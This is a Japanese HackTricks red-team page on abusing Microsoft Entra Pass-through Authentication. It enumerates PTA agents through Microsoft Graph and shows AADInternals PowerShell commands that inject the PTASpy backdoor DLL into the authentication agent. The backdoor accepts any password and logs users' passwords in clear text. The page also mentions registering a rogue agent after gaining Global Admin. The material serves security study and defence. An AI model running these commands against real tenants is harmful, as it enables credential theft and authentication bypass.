Az - PTA - Pass-through Authentication

Reading time: 7 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

From the docs: Microsoft Entra パススルー認証を使用すると、ユーザーはオンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインインできます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。

PTA では、アイデンティティ同期されますが、パスワードは PHS のようには同期されません。

認証はオンプレミスの AD で検証され、クラウドとの通信はオンプレミスサーバーで実行される認証エージェントによって行われます(オンプレミスの DC にある必要はありません)。

認証フロー

  1. ログインするために、ユーザーはAzure ADにリダイレクトされ、ユーザー名パスワードを送信します。
  2. 資格情報暗号化され、Azure AD のキューに設定されます。
  3. オンプレミス認証エージェントがキューから資格情報を収集し、それを復号化します。このエージェントは**「パススルー認証エージェント」またはPTAエージェント**と呼ばれます。
  4. エージェントオンプレミスADに対して資格情報を検証し、応答Azure AD返します。応答が肯定的であれば、ユーザーのログインを完了します。

warning

攻撃者がPTA侵害すると、キュー内のすべての資格情報平文)を見ることができます。
また、AzureAD に対して任意の資格情報を検証することもできます(スケルトンキーに似た攻撃)。

列挙

From Entra ID:

bash
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

オンプレミスサーバーでエージェントが実行されているか確認します:

bash
Get-Service -Name "AzureADConnectAuthenticationAgent"

ピボティング

PTA エージェントが実行されているAzure AD Connect サーバー管理者アクセスがある場合、AADInternalsモジュールを使用して、すべてのパスワード検証するバックドア挿入することができます(すべてのパスワードが認証に対して有効になります):

bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

note

インストールが失敗した場合、これはおそらくMicrosoft Visual C++ 2015 Redistributablesが不足しているためです。

このバックドアは以下を行います:

  • 隠しフォルダー C:\PTASpy を作成します
  • PTASpy.dllC:\PTASpy にコピーします
  • PTASpy.dllAzureADConnectAuthenticationAgentService プロセスに注入します

note

AzureADConnectAuthenticationAgent サービスが再起動されると、PTASpy は「アンロード」され、再インストールする必要があります。

caution

クラウドでGA権限を取得した後、新しいPTAエージェントを登録することが可能で、以前の手順を繰り返して任意のパスワードを使用して認証し、さらにパスワードを平文で取得することができます。

シームレスSSO

PTAを使用してシームレスSSOを利用することが可能ですが、他の悪用に対して脆弱です。詳細は以下を確認してください:

Az - Seamless SSO

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする